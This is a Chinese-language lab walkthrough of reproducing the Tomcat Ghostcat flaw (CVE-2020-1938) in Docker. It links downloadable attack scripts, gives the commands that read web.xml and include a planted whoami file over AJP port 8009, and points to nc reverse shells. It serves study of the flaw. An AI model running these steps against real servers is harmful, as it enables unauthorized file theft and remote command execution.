**************************************
按安排今天应该继续学习 Http Leak Attacak的
但是今天可能是星期天老师没有更新课程
白天也在外面农家乐玩(疫情期间好久没出门了)
晚上回来感觉空虚虚的,就想起来这个漏洞还没复现过
那么接下来我就来讲一下CVE-2020-1938的复现吧
**************************************
本文需要liunx、docker、python、tomcat基础
如果没有基础的建议:
tomcat安装在windows虚拟机上,自己搭建一个windows靶机
其次在后面的txt文件中吧whoami改成windows的dos命令
**************************************
攻击脚本百度云(运行环境python2)
链接:https://pan.baidu.com/s/1BTJQE3SwCsCcso_27tpXdQ
提取码:z651
漏洞简介
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件。
CVE-2020-1938 : Tomcat-Ajp 协议漏洞分析:https://www.anquanke.com/post/id/199448?from=singlemessage
漏洞影响范围包括
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
靶机搭建
docker环境
docker search tomcat-8.5.32
docker pull duonghuuphuc/tomcat-8.5.32
docker run -d -p 8080:8080 -p 8009:8009 --name ghostcat duonghuuphuc/tomcat-8.5.32
docker port ghostcat
运行完上面代码得到的结果:
在物理机上访问虚拟机ip地址:8080 显示tomcat界面就说明docker容器运行成功
文件读取漏洞攻击
下载好提前准备好的攻击脚本
然后在cmd环境里面执行一下代码
python Tomcat-ROOT路径下文件读取(CVE-2020-1938).py -p 8009 -f "/WEB-INF/web.xml" 192.168.138.139
/*命令解读
由于我电脑使用的workon虚拟环境已经切换到了python2
如果没有切换到python2环境 请把开头的python 改成 python2
-p 端口 漏洞的端口默认是8009
-f 访问的文件地址
*/
执行结果:成功访问web根目录的敏感文件web.xml
文件包含漏洞攻击
文件包含漏洞需要目标存在上传功能,上传txt进行包含攻击;(这里由于是测试环境,就创建一个txt文件到根目录假装上传;实际情况的话需要知道上传文件的路径)
这里上传的txt文件为”1.txt“
这里由于我们使用的是docker虚拟环境,所以我们不能用Xftp 上传文件
我创建文件的命令:
sudo docker ps -a
sudo docker exec -it 容器的ID /bin/bash
cd webapps/ROOT
touch 1.txt
echo 'txt文件里面的源码,把所有回车删除粘贴为一段' > 1.txt
直接访问的效果
cmd运行包含漏洞的脚本:
python Tomcat-ROOT路径下文件包含(CVE-2020-1938).py -p 8009 -f "/WEB-INF/web.xml" 192.168.138.139
/*
语句参数和上面的一样
其中root 就是 txt里面的 whoami 命令返回的结果
*/
+++++++++++++++++++++
在文件包含漏洞里面,我们可以使用nc等工具
其中windows命令行反弹shell参考文章:https://www.jianshu.com/p/1a9ff74fee48
+++++++++++++++++++++